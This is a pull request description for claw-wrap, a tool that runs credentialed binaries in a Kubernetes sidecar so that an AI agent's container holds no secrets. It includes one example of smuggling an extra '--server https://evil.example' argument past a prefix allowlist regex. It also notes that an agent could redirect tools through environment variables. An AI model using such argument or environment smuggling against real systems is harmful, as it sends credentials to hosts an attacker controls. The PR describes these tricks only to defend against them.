[dedene]

Makes claw-wrap usable as a sidecar next to an AI agent in one pod: the agent container holds no secrets and calls wrapped tools over a socket on a shared emptyDir; the sidecar runs the real binaries with credentials from a Kubernetes Secret.

The guide is docs/KUBERNETES.md, with a manifest in examples/kubernetes/ and a tool config in examples/mcparcel/. I deployed that manifest to a kind cluster (Kubernetes 1.35) with a fake tool that daemonizes and echoes its secret. Allowed and blocked calls, redaction, daemon survival, zombie reaping by tini, audit on stdout, PID isolation and ConfigMap hot reload all behaved as documented.

What would have broken in a pod

• The caller's cwd doesn't exist in the sidecar, so every call failed with invalid working directory. New per-tool working_dir.
• ConfigMap updates never reloaded on Linux: kubelet swaps a ..data symlink and the watcher only looked at wrappers.yaml. (It worked on macOS because kqueue follows the symlink.)
• No backend could read a Secret volume (env: rejects symlinks and root-owned files). New file: backend.
• A non-root daemon can't chmod the root-owned emptyDir. New CLAW_WRAP_RUNTIME_DIR points both sides at a subdirectory the daemon creates.
• audit.file: /dev/stdout is refused (symlink). New audit.stdout.

New options

• match: argv in allowed_args: one anchored regex per argument, exact arity. match: command joins args with spaces, so call front.read --server https://evil.example passes a typical ^call\s+front\.read(\s|$) rule; a test documents this.
• use_stdin: false: /dev/null stdin and no PTY, so prompts fail fast.
• request_env: allowlist for caller-supplied env. The agent holds the HMAC secret, so without this it can pass tool-specific variables (a server URL, say).
• Credential values injected via env/config_file (8+ bytes) are redacted from tool output. This applies to every tool, so it's a behaviour change worth noting in the release.
• --runtime-gid, --auth-mode, --socket-mode, ported from feature/docker-compose (without its Homebrew/Node image).

Bugs found along the way

• Output truncation: Wait() closed StdoutPipe readers before the pumpers drained them (8 KB lost out of 200 KB in a test). Now uses owned pipes with an idle-based drain deadline, which also means a tool that leaves a detached daemon holding stdout can't keep a call open.
• Data race between handleTimeout and cmd.Wait on ProcessState.
• finalizeOutput returned early on a stdout error and dropped stderr.

Image

A root Dockerfile builds Debian slim with tini as PID 1 (reaps tool daemons that get reparented) and a non-root user. image.yml builds linux/amd64 and linux/arm64, pushes to ghcr.io on v* tags, and only builds on PRs that touch the image.

Testing

• go vet and go test -race ./... pass on macOS and on Linux (non-root container, like CI).
• actionlint is clean, goreleaser check passes, and a goreleaser snapshot build produced all four targets.
• Both image architectures build.

Not addressed

• On timeout, exec.CommandContext SIGKILLs the leader before the graceful SIGTERM to the group. This predates this PR.
• TestDaemon_Run_ConfiguresBackendsAndCleansUpOnFailure hangs when run as root. Also existing.